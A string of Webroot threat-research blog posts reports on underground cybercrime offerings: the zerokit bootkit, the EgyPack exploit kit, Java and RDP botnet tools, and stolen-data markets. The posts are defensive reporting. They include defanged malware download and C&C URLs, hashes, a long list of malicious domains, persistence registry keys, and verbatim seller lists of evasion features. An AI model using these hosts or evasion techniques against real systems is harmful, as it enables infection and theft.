***Supported OSes:** – Windows XP SP1-SP3 (x32, x64) – Windows Vista SP1-SP2 (x32, x64) – Windows 7 SP0-SP1 (x32, x64)*

More information about the booter, plus details about upcoming features:

1. It is possible to embed in zerokit up to 7 domains. Thus, in the case when all the domains will be for any reason unavailable, zerokit activates the mechanism for generation of domains that would allow it to locate the server.

2. Bypassing all the currently known firewalls with full blocking network, ie, if all of your domains will be in the firewall's blacklist, it will not affect the communication to server.

3. Ability to update the first 6 months – free, then 10K per month (this is optional, if you subscribe for it) – it's not a classic purge of AV, but the ability to make zerokit more stable, more undetected and more functional.

Rent software for installs: *1. We give you access to OUR admin panel (CONFIGURED WITH YOUR DOMAINS, BUT ON OUR SERVERS). This will be your personal place in our admin panel. 2. In this admin panel you can get pack of zerokit and begin install of it. We accept only US, CA, UK, AU installs in approximate proportions: 60/10/20/10. 3. Prepayment is 10,500 installs per week. 4. Once in our admin panel will be a specified number of bots from your installs, we give you access to YOUR admin panel (CONFIGURED WITH YOUR DOMAINS, BUT ON OUR SERVERS) on which you can make any number of installs and load any of your software. 5. Since then, the cost is 40000 installs per month or 10500 per week. For example, you made us 40000 installs and we extend you access to YOUR admin panel for a month. 6. Installs will only be accepted within exploit packs. 7. We do not provide the crypts of zerokit's dropper.*

Over time we plan to implement: *3.a Provide a socket for your software that will allow you to work with the network with bypassing all the firewalls. 3.b P2P network for botnet, which will hide the control centers, which provide a more prolonged existence of a botnet (will be included in one of the updates). 3.c Bioskit. It's allow zerokit to work even full formatting or changing the HD (will be included in one of the updates). 3.d New exploits for dropper. Moreover, we can prepare dropper for you with yours exploits that will be used only by you.*

All this will allow you time to counter the attempts of Microsoft and AV companies to complicate the installation and operation of zerokit. *4. Verification system of files not allow any third party to take control of your botnet without a special private key to upload files. They will simply be ignored. 5. Minimal chaining with*

OS allows zerokit to be completely undetectable. 6. A great subsystem for downloading files, which allows the flexibility to manage and update your files on the side of botnet. This includes the launching of EXE from memory, injecting of DLL/Shellcode into any process. 7. Keeping your files into the Encrypting File System allows to load even the detectable software.

Sample screenshot of the administration panel:

Second screenshot of the administration panel:

Third screenshot of the administration panel:

Fourth screenshot of the administration panel:

Fifth screenshot of the administration panel:

Sixth screenshot of the administration panel:

Seventh screenshot of the administration panel:

Eight screenshot of the administration panel:

Next to the fact that the group of cybercriminals behind this release are clearly interested in innovating in order for them to secure an international market share of malicious activity, they also attempt to achieve ‘asset liquidity’ by offering access to their release to those cybercriminals who can supply tens of thousands of malware-infected hosts to them on a monthly basis. Naturally, these very same cybercriminals will multi-task through double or triple layer monetization tactics utilized on the malware-infected hosts, the same malware-infected hosts that will be then monetized by the authors of the bootkit.

This underground market proposition represents a good example of OPSEC (Operational Security) aware gang of cybercriminals, clearly possessing sophisticating coding capabilities, which combined with the novel customers acquisition model, indicates a decent understanding of the dynamics of the cybercrime ecosystem.

We’ll continue monitoring its development, and post updates as soon as new features get introduces.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals selling valid 'business card' data of company executives across multiple verticals - Webroot Blog

facebook linkedin twitter

Over the last couple of years, the industry’s and the media’s attention has been shifting from mass widespread malware campaigns to targeted attacks most commonly targeting human rights organizations, governments and the military, also known as advanced persistent threats (APTs).

In this post, I’ll profile a recently spotted underground market advertisement, which basically offers a Microsoft Access file of data belonging to executives within major companies such as Audi, Ralph Lauren, Bentley, Breitling, Porsche, Avito, Marc Jacobs, Ralph Lauren, Live Nation, Societe Generale, Bloomberg, Technip, Carlsberg, Coca-Cola, etc., obtained primarily through valid business cards.

More details:

Sample screenshot of the underground market advertisement:

The inventory consists of 508 contacts of foreign companies based in Russia, and 380 contacts belonging to other companies such as Baltika, Mercedez-Benz Russia, Pernod Ricard Rouss, GM, LVMH, Credit Suisse, Gazprom Export.

In terms of Quality Assurance (QA) from the perspective of the potential cybercriminal, there are several types of data sets – the **compromised database** with valid data, the **harvested+fraudulent opt-in type of data** , and apparently, the scanned data, in this this case from real business cards.

Taking into consideration the fact that these campaigns spread primarily over email, are very well researched, and that basic marketing principles for increasing click-through rates are taken into consideration, in the past, **we’ve discussed several popular**

methods cybercriminals use in order to automatically obtain valid and versatile sets of personal information , to be later on used in social engineering driven campaigns.

We predict that , now that market segmentation is an every day reality, **localization** will be the next practice which will cause a widespread effect internationally, due to the fact the actual malicious/fraudulent messages would have been authored **by native speakers** .

Our advice? Don’t just hand out your business card to anybody, or it may easily end up on the underground marketplace.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Madi/Mahdi/Flashback OS X connected malware spreading through Skype - Webroot Blog

facebook linkedin twitter

Over the past few days, we intercepted a malware campaign that spreads through Skype messages, exclusively coming from malware-infected friends or colleagues. Once users click on the shortened link, they'll be exposed to a simple file download box, with the cybercriminals behind the campaign directly linking to the malicious executable.

More details:

Sample screenshot of the campaign in action:

Sample redirection chain: *hxxp://www.goo.gl/aMrTD?image=IMG0540250-JPG* -> *hxxp://94.242.198.67/images.php* -> **MD5: f29b78be1cd29b55db94e286d48cddef** – detected by 20 out of 46 antivirus scanners as Gen:Variant.Symmi.17255.

More malware is known to have been rotated on the same IP, such as for instance: *hxxp://94.242.198.67/sg0.exe* – **MD5: cfaf9e3345bb6dc7204d6ad1a266a4c0** – detected by 9 out of 46 antivirus scanners as Trojan.FakeSky
hxxp://94.242.198.67/ef.exe – **MD5: d85639f3e067c2b3eda5aa3a36979b56** – detected by 7 out of 46 antivirus scanners as PWS-Zbot-FARH!D85639F3E067
hxxp://94.242.198.67/stp.exe – **MD5: d848763fc366f3ecb45146279b44f16a** – detected by 28 out of 46 antivirus scanners as Backdoor.Win32.ZAccess.bsle
hxxp://94.242.198.67/4.exe – **MD5: 8c005816a75d63853bcff5c815c638d7** – detected by 11 out of 46 antivirus scanners as Mal/VBCheMan-B
hxxp://94.242.198.67/fbsp.exe – **MD5: 09fe80eccb798f33f32792fc303504de** – detected by 5 out of 46 antivirus scanners as PWS-Zbot-FARH!09FE80ECCB79

hxxp://94.242.198.67/IMG0540250-JPG.scr – **MD5: f29b78be1cd29b55db94e286d48cddef** – detected by 20 out of 46 antivirus scanners as Gen:Variant.Symmi.17255

Upon execution, **MD5: d848763fc366f3ecb45146279b44f16a** phones back to *hxxp://xlotxdxtorwfmvuzfuvtspel.com/RQQgW6RRMZKWdj0xLjIma WQ9MjQ3NzA0MzA5MiZhaWQ9MzAyODcmc2lkPTQmb3M9NS4xL TMyluYwGI8j* – 50.62.12.103

What's so special about this IP (**50.62.12.103**) anyway? It's the fact that it's known to have been **used as a C&C** for the **Madi/Mahdi malware campaign** , as well as a **C&C for the Flashback MAC OS X malware** , proving that someone's definitely multi-tasking.

Known to have been responding to the same IP (**50.62.12.103**) are also the following malicious domains:
026ac50bb7a03a66.net 12eriujdjdjjdunog.info advantcedmtleaps.com advdomain2.com advisitormetrics.com aefixclfrsdjfvxeasjzbortwvg.info aeorclucdlhzdzdmdqhyppn.info airbusnotemountain.com aivlmxgiwe.com alnvggqlpfcnirw.info amnsreiuojy.biz aofligawxeoadyndns.info aoflkpshxeoadyndns.info apenhaimcanadaupdate4.com appnetgroucom.com asduihdqkbnbmzcvhgasd.info asjdiweur87wsdcnb.info aspnet5ulalalala-lux-premium.info auumhjwopdlunno.info avilantup.com awbjrtehedel.com b08e6870b2a1ef9e.com b18h34h34l68duezgsm29luorgybsdrlvcrdr.info betikpshxeoadyndns.info betiyfadxeoadyndns.info bgdqfddrqwpfou.info blogsmoneyok.info bniwedsafe.com bol3eraxermitser27erty.com bpfq02.info buglethilliam.com bwincdwtyxsorh.info bxnet-nt.com bxrsnconnect.com byfihmfadedaguozhihiditcibpqg.info camareserqw2.info camnetfbvoor5.info camnetfdfoor4.info camnetqwfoor4.info carambmaining.net carambmaining56.net carambmainings.net caravelaoroltd.com cfcdgvwxnbwcs.info cfirjgkgirkxkh.info cfqwmwlmyuvln.info citroncomutroner.com cleansales-agent9.info collach.com commonftsformbs.com compactwinse.net cqtssgpduscfuaikjeagmozljnrylzt.info cydzctpxd10crf12aukueqgwo31lunyivjz.info

cyuxrqripzalpspqkoldwlabx.com data-forumziforsexxi01.info defeatswirly1.net dfgpoidpoitertert.com dggubvhxorb.com dihhcezdkzdipcijbtskzeuvsh.info dikixy.info ditwkukaylebyxhmmzjqoj.info diulbrcwogazxrukkbqdikzhmlyh.info djnokpshxeoadyndns.info dkjphajyjkfpxxa.info dljtigawxeoadyndns.info dljtkpshxeoadyndns.info dmpzmzxkrofibgytnfuuw.info dnayapontis.com dodofofo.com dofipsdfkjfifps.com doubtcatch.net dririgawxeoadyndns.info dsmfwjivipeysga.info dspuigawxeoadyndns.info dspukpshxeoadyndns.info dwveuejf.com dxfetecs.biz dzp52mrlrjunzo11a17pzj16nzcspzhqpzhw.info dzsmahpcki.info e41jqd40argtp22owfrjrg13kudqareqbxe11.info e51lzlvfsg23htf12hrlzb38p12i55orhxoxcy.info earthwithoutmee1.com eeejudpyefmsnd.info eigauvlvljonlnhxpnh.info elementarimagine.net emphasissmartlists.org emvshokudjpxoxqfa.com erthgeneraleboss.com etlfexgfuxctbypvidxopcq.info eudbmmrxdmthyqwlhltkro.info euolaulmala.com evuhdwnkmrljqx.info ezcnigawxeoadyndns.info f5ds1jkkk4d.info fghgng44fgjl82509dfg83df.com fhnqskxxwloxl.info freelife4ever.com froyoexplainss.com fsdrpxvgmmvfiq.info fshopadobes.com fssjpikqkysxx.info fuaihaughbdgmp.info fzbtf32ozmto61kqktowd10cyo31gvitiqgw.info g1ikdcvns3sdsal.info galwayupdate6.com gebhesroater.com generalseoptimization1.com ghgng43fgjl82309dfg99df4.com gmtkkhmnbudlbobaepnhyhiyh.info googlesafebrowsing-ads.com goopywilsp92.net gqnjdudibuphikjsdcuhl.info grayhorse-love1.info greatsummerplaya.com gsvlynnaafkef.info gvbvgreve45by4dd33.com gwbybehycpxpshd.info h44d40pxhqevnwh54gwb58n40kwozpsdxd40c29.info h8x79bn8x798vnvddddxcv87o8xb9x7b7cv9c.com he3ns1k.info heskrklvtvokzdvyuwhagizor.info hgng43fgjl82309dfg8df4.com hivqwbnkasisil.info hjdfhjpqhf4vzskdjui123123.org hjdfhjpqhf5vzskdjui123123.org hqasf52jyowhzpvoqn20l28l68mycyoza57f42.info huheramantukisloktusos.com hunlwtjaag.com hwpdigawxeoadyndns.info hyqopmvtwrgdagyaqbutwprcwc.info ibmzuwqsugnvpjuotkgfmnrdezl.info *ibpvgmxyphtsgaydtsgtwqwkvmr.info idontworkanymooree.com ieoverobots.com ieujje239cm.com iffqqrgvkdlbtsofrfipbdiwcytpj.info igawigawxeoadyndns.biz igawigawxeoadyndns.info igpcuvalgvbfaf.info iqkydbxjfodro.net ivpdakfaifyhihnvjftdaikn.info iwuyrvtylnojde.info ixcmzbffyie.com jckhbgjj.com jeceryn.info jegh34kjhwe8889321.com jewuqyjywyv.eu jghidxcalkrrw.info jgsowwnlbieyv.info jifyhsqkbyykzamdeuceakjf.info jimsterdark3746.com jknceldiknaxgmnfgedd.info jks49sdgrled9.com jkuniversepoolz4356.net jrttuuemjk.biz jumperbartons54.net justiceforpeople.net keywordkr.com kfbavaqqwrnjlmkrl.com kgqzirish.com kinstelertiong.com kjuhhwiusatt.org kkagkpshxeoadyndns.info kkdydy.com koreasys2.com koteroselvo.com kpshigawxeoadyndns.info kpshkpshxeoadyndns.info krexjdsamdx.com ktiijejk.biz kuddkpshxeoadyndns.info kulnd.com kvukggykrrchguormgmjbyroce.info lbaviecejxft.info lenexiusdeotime.net lequkvmlratgsm.info lettheimmoralityrule2.org ljsomjonmvushavkgaqwtpzjf.info lnprpshztsceyoblrzrowcfiauae.info look4profits1.net lordoftheworld20.com louqwesas.com lowdonfonyou2.com lpjwscxnwpqkaq.com lpnzrseayswdydwcivzprfqs.info lruwxvqgruwswrwifhymzmnyleu.info lshsjokjjgtmm.net lutsvwgyuwhvkganrvofmwk.info lvhsspkwyevfca.info lxpznvbqewh14k47pqc19i35g13fzjrnri45av.info lye21h44f62atb68e21c29b28ish34m39mwp62ive11.info majakil.in mamo-counter777.net mathekrundesma.com mbpffaxalpzvvfdbqditomrbe.info megatraff.org merchantinhouse3.info micapredelpport.com micorsslow-tool1.com microcaroinos3.com microsoft-db-tool-new2.com microupdate14.info miecjlosmoliu.info miraclegroupscom.com mkkuei4kdsz.com mkvrpknidkurcrftiqsfjqdxbn.com moneybase55.biz mopiiueus.com mswqfsqgtcsluvy.info mtfsf42e11oxmrfwd20fvg53o41aupvexmyjv.info mtjugjbwwldfl.info mxfhfg.info mydataqwedds.info myvokpshxeoadyndns.info n8l9l7u5.info nahuyaverov6091.info navegadordelcaribe.com nblraumbahittwwglzxeawgztaqlv.info nkbfpywlvglrb.info ns2275ab.com nsiykpshxeoadyndns.info nvauuoeqwpbqcmrltskrlrrsrwqg.info nvprtvwozqkdrspnxsifjvpdi.info* *nxoqhmpbjzhdqxwqbysgugzhmfa.info oaifpapl.com obmfvijftylgjpf.com obnyi-pesxbeg.net oeurkpshxeoadyndns.info oiicmtkpkaocnm.info ok-money-blogs.info ovjxnjrowtuu.info pepbigawxeoadyndns.info pgiqlkbgdooiypl.info phgxesbwepuic.info phsrednog.com piltfjdxqxjkflb.info prbktcowpvjmr.net prgeuzydfucylrqspgigiyl.info pricheshueisherstkugladko.com protectionadaptss.com proton-tm9999999.org proxy-freedoservice.com ptlbaemhupbcuizguvszddyqk.info pxvlcs.info qedoluv.info qekyqop.com qetyfuv.com qllrpq.com quitfsasaf144new.net recorduntil.net redqtdidmcrxbnd.com reuirbgeuihrweiufheeey.com rgelkpshxeoadyndns.info rnwpigawxeoadyndns.info rnwpkpshxeoadyndns.info rqqyfomgpnqqfrnn.info rytepyv.net s87g7g81ffsdb.com satriavision.net savetimeforyooooulife2013.net sewjdnmm93.com sfunnywb.net sibirturizm-extrim2015.info singleshotscreen.info skwkpfaqacfdyvv.info smspex201.com soddddfdddda.com soldhvzyqa.com stainlessnetcombizzer.com stebqigidqbnaqu.info stxeapbewbblp.net styerw45ork9.net submit-moonlight-pictures.info tiktak10.com tillcollpsextreme.com tnyshuxmiax.com tpgbtomvader.com tpstneuknash.com trucolorcfgdeo.net tspddtovautjvtcethathm.info ttncvthmewyexig.info ubibictj.biz ufvgtnnmukdmjb.info uislggelds.com ukiixagdbdkd.com ultimaresources.com uonbydpfalnaufmjylpfjvrdmb.info uopobqtyhorogupjdcigl.info uredasqopjerl.net uwidierihon.com vapu.info vasjokmoz65etvssat123.com vd93mkkj9d87g9d.com verifyservicenetwebs.com vieajzkg.info vijthukg.com vipreclod.com viqtkpshxeoadyndns.info vjlvchretllifcsgynuq.com vjseqysltlteksy.info voloerdpsoeudjl.com vpcwmobama.com vperedzaddos.com vrvtgirixixepis.info vvvjecojmbju.info vwqoxobapgehxseufamwgrs.info wamuv.com werbadvsrvpoints.net whycclrtpekoidf.info windnetsteels.com winsoft3.com wiovtvolveras.com wjcfvktlefqhigp.info wnvshbuoil.net womancasdorinosvictor.com wvwuihci.biz xlotxdxtorwfmvuzfuvtspel.com xsqgafytwjygwl.info xunwrhxtwgwylr.info yfadigawxeoadyndns.biz yfadigawxeoadyndns.info yjaqgsmksfcd.info ymjgdminmont.com* *yoillzlag.net yrfaimwtpkelc.info yvknkdqeouqqpbo.info zjdgrkry.com zlxlkpshxeoadyndns.info*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercrime-friendly service offers access to tens of thousands of compromised accounts - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Among the first things a cybercriminal will (**automatically**) do, once they gain access to a compromised host, is to retrieve account/credential data.

From compromised **FTP credentials**, **CPanel accounts**, portfolios **of domains**, to hacked **PayPal** and **Steam accounts**, cybercriminals are actively utilizing compromised infrastructure as a foundation for the success of their fraudulent or malicious campaigns, as well as for **anonymization 'stepping stones' tactics** in an attempt to forward the risk of getting tracked down through a series of network connections between malware infected hosts located across the globe.

In this post, I'll highlight the existence of a cybercrime-friendly service that has been supplying virtually anyone who pays for access, with tens of thousands of compromised accounts.

More details:

Sample screenshot of the cybercrime-friendly service:

Thousands of Russian Vkontakte, LiveJournal, Twitter, Mail.ru and Skype accounts are currently offered for sale, all of them active and valid. Based on the underground market advertisement, in 2012, the group/individual behind the service claims to have been in the possession of over 100 million accounting credentials, which have been obtained through "private methods".

Thanks to the ease of generating or renting a partitioned botnet for your fraudulent and malicious needs, we predict a steady growth for this market segment. Consider the fact that more cybercriminals are applying QA (Quality Assurance) to their campaigns in terms of abusing the "chain of trust" established among owners of the compromised accounts and the prospective victims, in this case, their friends or colleagues.

We'll continue monitoring the development of this service, and keep a close eye on what the competition is up to when it comes to differentiating its underground market "value proposition."

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Re: Changelog as promised' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

We have recently intercepted a malicious spam campaign, that's attempting to trick users into thinking that they've received a non-existent "changelog." Once gullible and socially engineered users execute the malicious attachment, their PCs automatically become part of the botnet operated by the cybercriminal/gang of cybercriminals.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment: **MD5: e01ea945b8d055c5c115ab58749ac502** – detected by 23 out of 46 antivirus scanners as Worm:Win32/Cridex.E.

Upon execution, the sample creates the following processess on the affected hosts: *C:WINDOWSsystem32cmd.exe" /c "C:DOCUME~1<USER>~1LOCALS~1Tempexp1.tmp.bat C:Documents and Settings<USER>Application DataKB00927107.exe*

The following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

The following Registry Values: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> KB00121600.exe = ""%AppData%KB00121600.exe""*

As well as the following Mutexes: *LocalXMM000003F0 LocalXMM00000200 LocalXMM000003F8 LocalXMI000003F8 LocalXMRFB119394 LocalXMM000005E4 LocalXMI000005E4*

LocalXMM0000009C LocalXMI0000009C LocalXMM000000C8 LocalXMI000000C8

It then phones back to **hxxp://85.214.143.90:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/** and to **hxxp://91.121.90.92:8080/AJtw/UCyqrDAA/Ud+asDAA/**

We've already seen the same C&C (**85.214.143.90**) used in a previously profiled malicious campaign:

'Terminated Wire Transfer Notification/ACH File ID" themed malicious campaigns lead to Black Hole Exploit Kit

Users are advised to avoid interacting with these emails, and to be extra vigilant for similar social engineering driven malicious campaigns.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY Java-based RAT (Remote Access Tool) spotted in the wild - Webroot Blog

facebook linkedin twitter

While the authors/support teams of some of the **market leading Web malware exploitation kits** are competing on their way to be the first kit to introduce a new exploit on a mass scale, others, largely influenced by the re-emergence of the **DIY (do-it-yourself) trend** across the cybercrime ecosystem, continue relying on good old fashioned social engineering attacks.

In this post, I'll profile a beneath-the-radar type of DIY Java-based botnet building tool, which is served through **the usual unsigned** , yet **malicious Java applet** .

More details:

Sample screenshot of the DIY Java-based RAT botnet in action:

Some of its features include: – *The server size is 22kb – Coded in Java, works on any OS (Linux, Mac, Windows) – Uses two ports – Uses no dependencies – Any kind of file can be downloaded and executed on the affected hosts – Infected hosts can also be redirected to any URL – Can also be converted to DDoS bots – Can also be sent a fake error message – Can also be accessed using remote shell – Can also be password protected*

Although the release received some negative feedback insisting that the auto start-up feature does not work, other users are pointing out that they don't need it to work, as they'll basically just drop another executable on the affected hosts, as soon as they gain access to them.

We'll continue monitoring its development, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the EgyPack Web malware exploitation kit - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

On a daily basis we process multiple malicious campaigns that, in 95%+ of cases, rely on the market leading **Black Hole Exploit Kit** . The fact that this Web malware exploitation kit is the kit of choice for the majority of cybercriminals, speaks for its key differentiation factors/infection rate success compared to the **competing exploit kits** , like, for instance, the **Sweet Orange exploit kit** or **the Nuclear Exploit pack v2.0** .

In this post I'll profile the **EgyPack,** a Web malware exploitation kit that was originally advertised on invite-only/vetted cybercrime friendly communities between the period of 2009-2011. List its core features, provide exclusive screenshots of its administration panel, and discuss why its business model failed to scale, leading to its virtually non-existent market share.

More details:

Cybercrime ecosystem advertisement of the EgyPack Web malware exploitation kit:

EgyPack is an advanced browser exploit pack that meet all the needs to perform a remote execution attacks via client side using internet browsers by using different Drive-by download exploits on the target operating systems. The main goal of EgyPack is to provide an efficient & easy control to the exploit system and lunch all the exploits in a silent & stealth way with the bypassing to all avs detections.

*Main Core Coded in PHP (OOP) + Mysql * Interactive Admin Panel Using Smarty Template Engine (Can Develop More Than a Skin Later) * Integrate with New Anti-Bots System (Detect & Block All Bots, Scanners, Analyzers, Crawlers) * Unique Filtration System for Traffic with No Duplicates * Fully Undetected & Flawless JS*

*Encryption for The All Added Exploits * Payloads Working Smooth & Tested with All OS including Win Vista * Stable Loader With Success 90% of execution on Loaded Traffic*

WebPanel Features & Functions : – Statistics : » OS Statistics » Browsers Statistics » Countries Statistics » Referers Statistics

– Options : » Countries Rules (Filter & Allow The Traffic for Exploit depends on Countries) » Browser Rules (Filter & Choose Browsers To Exploit On Traffic) » OS Rules (Filter & Choose Different Operating Systems to Exploit)

– Tools : » Undetected & FUD Iframe Generator (2 methods of Encryption) » Update Loader File (Update From Local Source or Use Remote Server)

– User Control & Update : » Update The Current User (Change Admin Panel Password for The user) » Add New Egypack Admin (Add new Admin Account to the Admin Panel)

*Exploits Added : * MDAC * DirectShow * SpreetSheet * MS09-002 * IEPeers * PDF (Libtiff – Util.printf – Collab.getIcon – Collab.collectEmailInfo – Newplayer) * HCP (MS10-042 including wmplayer + realpayer techniques) * Java (JSE & JNLP Webstart – Java Calendar – Java Desraialize)*

*Target & Supported Browsers : * Internet Explorer (MSIE 6 – MSIE 7 – MSIE 8) * Mozilla Firefox (FF 1.X – FF 2.X – FF 3.X – FF 4.X) * Opera Browser (All Versions)*

*Target & Supported Operating System: * Windows 7 * Microsoft Windows Vista * Microsoft Windows XP * Microsoft Windows 2003 * Microsoft Windows 98 * Microsoft Windows ME * Microsoft Windows 95*

*Browser Conversion Rates From Tests : * IE6 40% * IE7 35% * IE8 20% * FF 20%*

*OS Conversion Rates From Tests : * Windows Xp 27% * Windows Vista 20% * Windows 2000/2003 17%*

*Countries Conversion Rates From Tests: * US / GB / CA from 25% – 30% * Asian / Arab / Other Countries rates from 35% and up * Mixed Traffics with Most of USA / GB varies from 20% ~ 25%*

Unique & New Features on Egypack: – Anti-Bots System that is using a different & new techniques to detect and block all Scanners & Analyzers from detecting EgyPack and get your domain flagged as attack & unsafe site on Firefox or MSIE.

– Tests for the Anti-Bots System proof the success of it's work which made domains stayed for more than 3 weeks of continues of Iframing for big sites which makes more than 100k visits / day without any reports or block for domains or getting detections for the exploits from any avs .

-Unique Filtration System with No Duplicates for Traffic using techniques for checking for each unique visitor using cookies with mutex being updated when you clear the stats and checking for ip address .

The price? Between $1,000/1,500, with the idea to make it look like as if the core purpose of its existence is to be exclusively coded for members of this particular invite-only/vetted cybercrime-friendly community. Let's take a peek inside the command and control interface.

Sample screenshot of the EgyPack Web malware exploitation kit's administration panel:

Second screenshot of the EgyPack Web malware exploitation kit's administration panel:

Third screenshot of the EgyPack Web malware exploitation kit's administration panel:

Fourth screenshot of the EgyPack Web malware exploitation kit's administration panel:

Fifth screenshot of the EgyPack Web malware exploitation kit's administration panel:

Sixth screenshot of the EgyPack Web malware exploitation kit's administration panel:

Seventh screenshot of the EgyPack Web malware exploitation kit's administration panel:

Eight screenshot of the EgyPack Web malware exploitation kit's administration panel:

Ninth screenshot of the EgyPack Web malware exploitation kit's administration panel:

Tenth screenshot of the EgyPack Web malware exploitation kit's administration panel:

The EgyPack is an example of an OPSEC-aware cybercriminal who has never sacrificed security for the sake of attracting new customers thru advertising his Web malware exploitation kit at publicly accessible cybercrime-friendly communities. Hence, the low market share, which may prove to be irrelevant in this specific case, as this is exactly what the cybercriminal behind it wanted to accomplish in the context of enriching the experience of the members of the invite-only/vetted cybercrime-friendly community.

As the exploit kit remains under development, we'll continue monitoring the activities of the cybercriminal behind it, and post updates as soon as he introduces new features/exploits. Meanwhile, user are advised to ensure that they're running the **latest versions of their third-party software** , and **browser plugins** in an attempt to mitigate a certain percentage of the risk posed by the fact that on a large-scale, cybercriminals tend to exploit known and already patched client-side vulnerabilities.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New DIY RDP-based botnet generating tool leaks in the wild - Webroot Blog

facebook linkedin twitter

In times when we're witnessing the most prolific and systematic abuse of the Internet for fraudulent and purely malicious activities, there are still people who cannot fully grasp the essence of the cybercrime ecosystem in the context of the big picture — economic terrosm — and in fact often **deny its existence** , describing it as anything else but an underdeveloped **sellers/buyers market** .

That's totally wrong.

In this post, I'll discuss the cybercrime ecosystem events that eventually led to the leakage of a private DIY botnet building and managing platform – with the idea to raise more awareness on the dynamics taking place within the vibrant ecosystem.

More details:

The pre-leak activity is as follows:

A cybercriminal, apparently a member of an invite only cybercrime-friendly community, publicly announces that he didn't have much trouble analyzing a sample of the malware bot, in particular the **Domain Generation Algorithm (DGA)** , and consequently publishes sample source code of the process.
Other cybercriminals start asking, 'Why is this bot not public?', and fellow cybercriminals surprisingly provide a working (password protected) link to a copy of the malware bot – citing that they believe the bot is buggy, uses copy and past source code from other underground releases, and that its price of $10,000 is simply not realistic

The bot exclusively relies on the Remote Desktop Protocol (RDP) for interacting with the malware infected hosts. In cases where the ports are disabled, the malware infected host will tunnel the connection on a random port. Access to the admin panel is provided by both a Web and client based GUI.

Some of the key features of the DIY botnet include:

– Displays all the statistics about the infected host (OS, Host, NAT etc.) – The last time of the activity of the bot – Collects information about the payment system/banking system used on the infected machine. – Has the ability to update the version of the bot. – Search the log files. Ability to define tags to posts for easy sorting. – Logs errors and access to the administrative panel. – Controls who's authorized to view the logs of access to the admin panel. – Controls who's authorized to view the logs of otstuk bots. – Fixed an error which allows to generate a domain name from the domains range, and intercept bots. – Supported keylogger – Can downlaod and execute additional files on the affected hosts.

Sample screenshot of the DIY botnet generating tool&command and control interface:

Second screenshot of the DIY botnet generating tool&command and control interface:

We'll continue monitoring the development of this, now leaked, DIY botnet generating tool – and post updates as soon as new developments take place.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Terminated Wire Transfer Notification/ACH File ID" themed malicious campaigns lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

A couple of days ago our sensors picked up two separate malicious email campaigns, both impersonating **Data Processing Services,** that upon successful client-side exploitation (courtesy of the **Black Hole Exploit Kit)** , drops an identical piece of malicious software.

Let's dissect the campaigns, expose the malicious domains portfolio, connect them to previously profiled malicious campaigns, and analyze the behavior of the dropped malware.

More details:

Sample screenshot of the "ACH File ID" themed spamvertised campaign:

Sample compromised URLs used in the campaign: *hxxp://may.kz/dataach_proc.html hxxp://kimsee.co.kr/dataach_proc.html hxxp://katja-korotynsky.de/dataach_proc.html hxxp://raketa.molo.by/dataach_proc.html hxxp://union-allegro.ru/dataach_proc.html hxxp://medsintes.ru/dataach_proc.html hxxp://bora-bora.travel/dataach_proc.html hxxp://lexa.razor.w2c.ru/dataach_proc.html hxxp://niko-bor.ru/dataach_proc.html hxxp://4ord-rj.com.br/dataach_proc.html hxxp://may.kz/dataach_proc.html hxxp://medsintes.ru/dataach_proc.html hxxp://zar.aero/dataach_proc.html hxxp://www.sib-intech.ru/dataach_proc.html*

Sample client-side exploits serving domain: *hxxp://neo-webnet.com/kill/reading_screen.php* – 24.111.157.113; 58.26.233.175; 155.239.247.247 – Email: bannerpick45@yahoo.com

